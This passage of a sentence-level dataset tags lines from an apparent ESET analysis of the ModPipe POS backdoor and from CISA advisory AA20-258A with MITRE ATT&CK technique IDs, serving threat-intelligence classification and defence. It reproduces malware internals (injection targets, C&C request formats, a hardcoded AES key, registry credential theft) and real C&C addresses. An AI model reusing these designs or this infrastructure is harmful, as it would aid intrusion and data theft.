(upper is encrypted, lower decrypted)", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Persistent loader This component is responsible for both unpacking the main module and for its injection into one of the following processes: lsass.exe wininit.exe services.exe To unpack the main module, the persistent loader uses different approaches for the 32-bit and 64-bit versions.", "labels": ["T1027", "T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "While the 32-bit loader is almost identical to the initial dropper – the only difference being the payloads stored in the resources – the 64-bit loader uses completely different “unpacking” code.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "We have found seven different versions of the loader executables, each having a different compilation timestamp, with the oldest one probably originating in December 2017 and the latest in June 2020.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "For the full timeline, see Figure 9.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "A list of all the loader hashes is included in the Indicators of Compromise section.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Timeline of known ModPipe variants and their timestamps.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Main module The main module is mostly responsible for managing C&C communication and for handling received messages/commands, either from C&C or downloadable modules.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "To facilitate the communication with modules, the main module starts by creating a pipe with a randomly generated name formatted using the following format string: {%08X-%04X-%04X-%04X-%08X%04X}", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "It then periodically checks the pipe for new messages using the PeekNamedPipe Windows API function.", "labels": ["T1106"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Messages are parsed and handled according to their content.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "For a full list of recognized pipe commands and messages see Table 3. Table 3.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "List of pipe message/command types Message codeDescription 0x10000012inject and execute received module in specified process 0x10000013data for C&C server (execution logs, stolen data, …)", "labels": ["T1041", "T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "0x10000014write requested configuration data to the file handle received in this message (most likely handle to named pipe created by some other module) (main config, network config, loader name, main module PID, ...) 0x10000020C&C commands (not encrypted) – see Table 4 for the full list of available commands 0x10000022set module status (or err code)", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "0x10000023set C&C communication time intervals 0x10000024close received list of handles 0x10000025get handle of the process with specified PID, duplicate it for some other specified process and send it through the received named pipe handle 0x10000072C&C commands (encrypted) – see Table 4 for the full list of available commands For the detailed structure and format used for the messages transferred through the pipe refer to Figure 10. Figure 10.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Structure of the main module’s named pipe messages For communication with its C&C server, the main module uses HTTP and port 80.", "labels": ["T1071.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Each of the dissected samples contained a list of potentially available servers from which one was randomly chosen.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "A list of all C&C addresses discovered over the course of our research is available in the Indicators of Compromise section.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Messages sent to the C&C (see Figure 11) are constructed and encrypted within the main module’s code.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Structure of the messages sent to the C&C Before any communication with the C&C, the main module generates two clean URLs and uses them to check for an internet connection and a clean-looking cover for the malicious traffic.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The URLs use the following format www.%domain%[.]com/?%rand%, where %domain% is randomly chosen from google, bing and yahoo and %rand% is a random 32-bit unsigned integer represented in ASCII.", "labels": ["T1573.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Communication with the C&C is encrypted using AES in CBC mode with the following 128-bit key:", "labels": ["T1573.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "F45D076FEC641691A21F0C946EDA9BD5.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Before encryption, C&C messages start with a 4-byte checksum, which is calculated as CRC32 (message) XORed with the first 4 bytes of the AES key used to encrypt the message.", "labels": ["T1573.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "In the case of the key mentioned above, this would be F4 5D 07 6F. The data is transmitted using the lightweight networking module, which is injected on demand and exits immediately after uploading or downloading the requested message.", "labels": ["T1095"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "To select the process for injection, the main module enumerates running processes and assigns them a priority value between 3 and 6.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Those with higher priority are injected first, based on the following criteria: Priority 6 The highest priority, assigned to any process that has already been used successfully to inject a networking module, received a response from the C&C and that is still running under the same PID, name and CreationTime.", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Priority 5 Process name with no extension that matches one of the following process names used for browsers: iexplore, opera, chrome, firefox Priority 4 Process name with no extension that matches the following process names: explorer, svchost Priority 3 All the other running processes excluding the following system processes: system, lsass, csrss, lsm, winlogon, smss, wininit The main reason behind the priority list is to inject processes that are expected to communicate over the network and at the same time avoid system processes that might attract attention if caught communicating over the network.", "labels": ["T1055", "T1071.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Networking module This ModPipe module is responsible for sending requests to C&C and parsing payload received in the C&C responses.", "labels": ["T1105"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "HTTP POST or GET methods with headers shown in Figure 12 and Figure 13 can be used to upload data to C&C and download additional payloads and C&C commands.", "labels": ["T1041", "T1071.001", "T1105"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "POST /robots.txt", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "HTTP/1.1 Accept: */* Content-Length: %data_length% Content-Type: application/octet-stream User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Host: %remote_host% Cache-Control: no-cache %data% Figure 12.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "HTTP POST header used to contact C&C GET %rsrc_path% HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Host: %remote_host% Cache-Control: no-cache Figure 13.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "HTTP GET message header Responses from the C&C server have to be at least 33-bytes long in order to be parsed by the networking module and the malicious payload is located after a sequence of 13 spaces followed by an HTML comment opening tag.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "An example of a server response including this sequence is shown in Figure 14.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Example C&C server response including encrypted payload If all conditions are met, the network module sends the C&C response to the main module using a pipe message with ID 0x10000072.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The main module then decrypts the payload, verifies its checksum and executes the C&C command.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Available commands are listed in Table 4.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Table 4.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "List of available main module commands Command codeCommand description 0x01Exit 0x05Update list of C&C addresses 0x0AInject and execute received module in specified process 0x0BInject and execute received module in specified process (module name is included in the command) 0x0COptionally write module to the encrypted storage, then inject and execute received module in specified process – add it to the list of the installed modules 0x0DSend command to the named pipe belonging to the module with specified ID and queue the response for the upload to the C&C 0x0EUninstall module with specified ID (remove from the in-memory list and encrypted storage)", "labels": ["T1027", "T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "0x0FSave network configuration to the encrypted storage Conclusion ModPipe shows quite a few interesting features.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Probably the most intriguing finding is the algorithm hidden in one of the backdoor’s modules, which was specifically designed to steal credentials by decrypting them from registry values.", "labels": ["T1005", "T1078", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "By acquiring the database passwords, the attackers gain broad access to sensitive information even though the most sensitive data stored in devices running RES 3700 POS should still be protected by encryption.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "ModPipe’s architecture, modules and their capabilities also indicate that its writers have extensive knowledge of the targeted RES 3700 POS software.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The proficiency of the operators could stem from multiple scenarios, including stealing and reverse engineering the proprietary software product, misusing its leaked parts or buying code from an underground market.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "To keep the operators behind ModPipe at bay, potential victims in the hospitality sector as well as any other businesses using the RES 3700 POS are advised to: Use the latest version of the software.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Use it on devices that run updated operating system and software.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Use reliable multi-layered security software that can detect ModPipe and similar threats.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Indicators of Compromise C&C IP addresses 191.101.31[.]223 194.32.76[.]192 23.19.58[.]114 88.99.177[.]103 91.209.77[.]172 5.135.230[.]136 C&C domains/URLs subzeroday.zapto[.]org shj145ertyb.ddns[.]net/gettime.html ouidji12345.ddns[.]net/gettime.html", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Dropper samples 9F8530627A8AD38F47102F626DEC9F0173B44CD5 FEE9C08B494C80DBF73A6F70FACD20ED0429330D Loader samples 0D1A4CB620576B8ADD34F919B4C6C46E7C3F9A59 B47E05D67DC055AF5B0689782D67EAA2EB8C75E3 F213B4EEF63F06EC127D3DC3265E14EE190B71E5 B2CE307DFE65C188FDAE169ABD65B75B112522C4 2AC7A2C09E50EAFABF1F401194AC487ED96C6781 0F4355A17AABD3645788341EAC2A9BB759DB95EE", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "File paths %CSIDL_APPDATA%\\Microsoft\\Windows\\{%rand_guid%}\\explorer.exe %WINDIR%\\system32\\%random_name%.exe %rand_guid% – pseudo-random GUID formatted string %random_name% – from 4 to 7 pseudo-random letters (a-z) with the first one capital e.g. “Cvoeqo.exe” MITRE ATT&CK techniques Note: This table was built using version 7 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "TacticIDNameDescription ExecutionT1059.003Command and Scripting Interpreter:", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Windows Command ShellAttackers were seen using Windows Command Shell to execute the initial dropper. PersistenceT1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderModPipe can use Registry Run key for persistence.", "labels": ["T1059.003", "T1547.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "T1543.003Create or Modify System Process:", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Windows ServiceModPipe can create a new service for persistence.", "labels": ["T1543.003"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Privilege EscalationT1134.001Access Token Manipulation:", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Token Impersonation/TheftAttackers were seen using partially modified PrintSpoofer tool to drop and subsequently execute loader with SYSTEM privileges.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Defense EvasionT1055.002Process Injection: Portable Executable InjectionModPipe can inject it’s modules into various processes.", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "T1205Traffic SignalingModPipe’s ModScan module sends random 32-bit values to TCP ports 50123 and 2638 of the specified IP address and requires a specific response in order to continue executing its scan functionality.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Credential AccessT1552.002Unsecured Credentials: Credentials in RegistryModPipe’s GetMicInfo module retrieves encrypted database passwords for ORACLE MICROS RES 3700 POS software from Windows Registry and uses a custom algorithm to decrypt them before uploading to the C&C. DiscoveryT1057Process DiscoveryModPipe’s ProcList module can get information about processes running on a system.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "T1012Query RegistryModPipe’s GetMicInfo module queries the Registry for ORACLE MICROS RES 3700 POS version, database passwords and other configuration data.", "labels": ["T1012"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "T1033System Owner/User DiscoveryModPipe gathers username and computer name from victim machines and reports them to the C&C in initial message.", "labels": ["T1033"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Command and ControlT1071.001Application Layer Protocol: Web ProtocolsModPipe uses HTTP for command and control.", "labels": ["T1071.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Symmetric CryptographyModPipe encrypts communication with C&C using AES in CBC mode.", "labels": ["T1573.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Over C2 ChannelModPipe exfiltrates data over its C&C channel. T1029Scheduled TransferDefault interval used by ModPipe for uploading data to C&C is set to 30 minutes.", "labels": ["T1041"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "12 Nov 2020 - 11:30AM", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Original release date: September 14, 2020 | Last revised: October 24, 2020SummaryThe Cybersecurity and Infrastructure Security Agency (CISA) has consistently observed Chinese Ministry of State Security (MSS)-affiliated cyber threat actors using publicly available information sources and common, well-known tactics, techniques, and procedures (TTPs) to target U.S. Government agencies.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed these—and other threat actors with varying degrees of skill—routinely using open-source information to plan and execute cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA leveraged the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) and Pre-ATT&CK frameworks to characterize the TTPs used by Chinese MSS-affiliated actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This product was written by CISA with contributions by the Federal Bureau of Investigation (FBI).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Key Takeaways Chinese MSS-affiliated cyber threat actors use open-source information to plan and conduct cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Chinese MSS-affiliated cyber threat actors use readily available exploits and exploit toolkits to quickly engage target networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Maintaining a rigorous patching cycle continues to be the best defense against the most frequently used attacks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "If critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This Advisory identifies some of the more common—yet most effective—TTPs employed by cyber threat actors, including Chinese MSS-affiliated cyber threat actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Technical DetailsThrough the operation of the National Cybersecurity Protection System (NCPS) and by fulfilling its mission as the national risk advisor, CISA has observed Chinese MSS-affiliated cyber threat actors operating from the People’s Republic of China using commercially available information sources and open-source exploitation tools to target U.S. Government agency networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "According to a recent U.S. Department of Justice indictment, MSS-affiliated actors have targeted various industries across the United States and other countries—including high-tech manufacturing; medical device, civil, and industrial engineering; business, educational, and gaming software; solar energy; pharmaceuticals; and defense—in a campaign that lasted over ten years.[1]", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "These hackers acted for both their own personal gain and the benefit of the Chinese MSS.[2] According to the indictment, To conceal the theft of information from victim networks and otherwise evade detection, the defendants typically packaged victim data in encrypted Roshal Archive Compressed files (RAR files), changed RAR file and victim documents’ names and extensions (e.g., from “.rar” to “.jpg”) and system timestamps, and concealed programs and documents at innocuous-seeming locations on victim networks and in victim networks’ “recycle bins.”", "labels": ["T1564.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "The defendants frequently returned to re-victimize companies, government entities, and organizations from which they had previously stolen data, in some cases years after the initial successful data theft.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "In several instances, however, the defendants were unsuccessful in this regard, due to the efforts of the FBI and network defenders.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "The continued use of open-source tools by Chinese MSS-affiliated cyber threat actors highlights that adversaries can use relatively low-complexity capabilities to identify and exploit target networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "In most cases, cyber operations are successful because misconfigurations and immature patch management programs allow actors to plan and execute attacks using existing vulnerabilities and known exploits.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Widespread implementation of robust configuration and patch management programs would greatly increase network security.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "It would also reduce the speed and frequency of opportunistic attacks by forcing threat actors to dedicate time and funding to research unknown vulnerabilities and develop custom exploitation tools.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "MITRE PRE-ATT&CK:registered: Framework for Analysis In the last 12 months, CISA analysts have routinely observed Chinese MSS-affiliated actors using the following PRE-ATT&CK:registered: Framework TTPs. Target Selection and Technical Information Gathering Target Selection [TA0014] is a critical part of cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "While cyber threat actors’ motivations and intents are often unknown, they often make their selections based on the target network’s security posture.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Threat actors can use information sources such as Shodan, the Common Vulnerabilities and Exposure (CVE) database, and the National Vulnerabilities Database (NVD).[3][4][5] Shodan is an internet search engine that can be used to identify vulnerable devices connected to the internet.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Shodan queries can also be customized to discover specific vulnerabilities on devices, which enables sophisticated cyber threat actors to use relatively unsophisticated techniques to execute opportunistic attacks on susceptible targets.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "The CVE database and the NVD contain detailed information about vulnerabilities in applications, appliances, and operating systems that can be exploited by cyber threat actors if they remain unpatched.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "These sources also provide risk assessments if any of the recorded vulnerabilities are successfully exploited.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "These information sources have legitimate uses for network defense.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA analysts are able to identify Federal Government systems that may be susceptible to exploitation attempts by using Shodan, the CVE database, and the NVD to enrich NCPS information.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Unlike threat actors, CISA takes the necessary actions to notify network owners of their exposure in order to prevent an impending intrusion or quickly identify intrusions as they occur.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "While using these data sources, CISA analysts have observed a correlation between the public release of a vulnerability and targeted scanning of systems identified as being vulnerable.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This correlation suggests that cyber threat actors also rely on Shodan, the CVE database, the NVD, and other open-source information to identify targets of opportunity and plan cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Together, these data sources provide users with the understanding of a specific vulnerability, as well as a list of systems that may be vulnerable to attempted exploits.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "These information sources therefore contain invaluable information that can lead cyber threat actors to implement highly effective attacks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed Chinese MSS-affiliated actors using the techniques in table 1 to gather technical information to enable cyber operations against Federal Government networks (Technical Information Gathering [TA0015]).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Table 1: Technical information gathering techniques observed by CISA MITRE ID Name Observation T1245 Determine Approach/Attack Vector", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "The threat actors narrowed the attack vectors to relatively recent vulnerability disclosures with open-source exploits.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1247 Acquire Open Source Intelligence (OSINT) Data Sets and Information CISA observed activity from network proxy service Internet Protocol (IP) addresses to three Federal Government webpages.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This activity appeared to enable information gathering activities.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1254 Conduct Active Scanning CISA analysts reviewed the network activity of known threat actor IP addresses and found evidence of reconnaissance activity involving virtual security devices.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Technical Weakness Identification CISA analysts consistently observe targeting, scanning, and probing of significant vulnerabilities within days of their emergence and disclosure.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This targeting, scanning, and probing frequently leads to compromises at the hands of sophisticated cyber threat actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "In some cases, cyber threat actors have used the same vulnerabilities to compromise multiple organizations across many sectors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Organizations do not appear to be mitigating known vulnerabilities as quickly as cyber threat actors are exploiting them.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA recently released an alert that highlighted the top 10 vulnerabilities routinely exploited by sophisticated foreign cyber threat actors from 2016 to 2019.[6] Additionally, table 2 provides a list of notable compromises by Chinese MSS-affiliated actors within the past 12 months.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Table 2: Significant CVEs targeted by Chinese MSS-affiliated actors in the last 12 months Vulnerability Observations CVE-2020-5902:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "F5 Big-IP Vulnerability CISA has conducted incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2020-5902.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This is a vulnerability in F5’s Big-IP Traffic Management User Interface that allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code.[7] CVE-2019-19781:", "labels": ["T1059.003", "T1070.004"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Citrix Virtual Private Network (VPN)", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Appliances CISA has observed the threat actors attempting to discover vulnerable Citrix VPN Appliances.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CVE-2019-19781 enabled the actors to execute directory traversal attacks.[8] CVE-2019-11510:", "labels": ["T1083"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Pulse Secure VPN Servers CISA has conducted multiple incident response engagements at Federal Government and commercial entities where the threat actors exploited CVE-2019-11510—an arbitrary file reading vulnerability affecting Pulse Secure VPN appliances—to gain access to victim networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Although Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where compromised Active Directory credentials were used months after the victim organization patched their VPN appliance.[9] CVE-2020-0688: Microsoft Exchange Server CISA has observed the actors exploiting CVE-2020-0688 for remote code execution to enable email collection of targeted networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Additionally, CISA has observed Chinese MSS-affiliated actors using the techniques listed in table 3 to identify technical weaknesses in Federal Government networks (Technical Weakness Identification [TA0018]).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Table 3: Technical weakness identification techniques observed by CISA MITRE ID Name Observation T1288 Analyze Architecture and Configuration Posture CISA observed the cyber actors scanning a Federal Government agency for vulnerable web servers.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA also observed the threat actors scanning for known vulnerable network appliance CVE-2019-11510.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1291 Research Relevant Vulnerabilities CISA has observed the threat actors scanning and reconnaissance of Federal Government internet-facing systems shortly after the disclosure of significant CVEs. Build Capabilities CISA analysts have observed cyber threat actors using command and control (C2) infrastructure as part of their cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "These observations also provide evidence that threat actors can build and maintain relatively low-complexity capabilities, such as C2, to enable cyber operations against Federal Government networks (Build Capabilities [TA0024]).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed Chinese MSS-affiliated actors using the build capabilities summarized in table 4. Table 4: Build capabilities observed by CISA MITRE ID Name Observation T1352 C2 Protocol Development CISA observed beaconing from a Federal Government entity to the threat actors’ C2 server.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1328 Buy Domain Name CISA has observed the use of domains purchased by the threat actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1329 Acquire and / or use of 3rd Party Infrastructure CISA has observed the threat actors using virtual private servers to conduct cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1346 Obtain/Re-use Payloads CISA has observed the threat actors use and reuse existing capabilities.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1349 Build or Acquire Exploit CISA has observed the threat actors using a variety of open-source and publicly available exploits and exploit code to compromise Federal Government networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "MITRE ATT&CK Framework for Analysis CISA has observed sophisticated cyber threat actors, including Chinese MSS-affiliated actors, using commercial and open-source tools 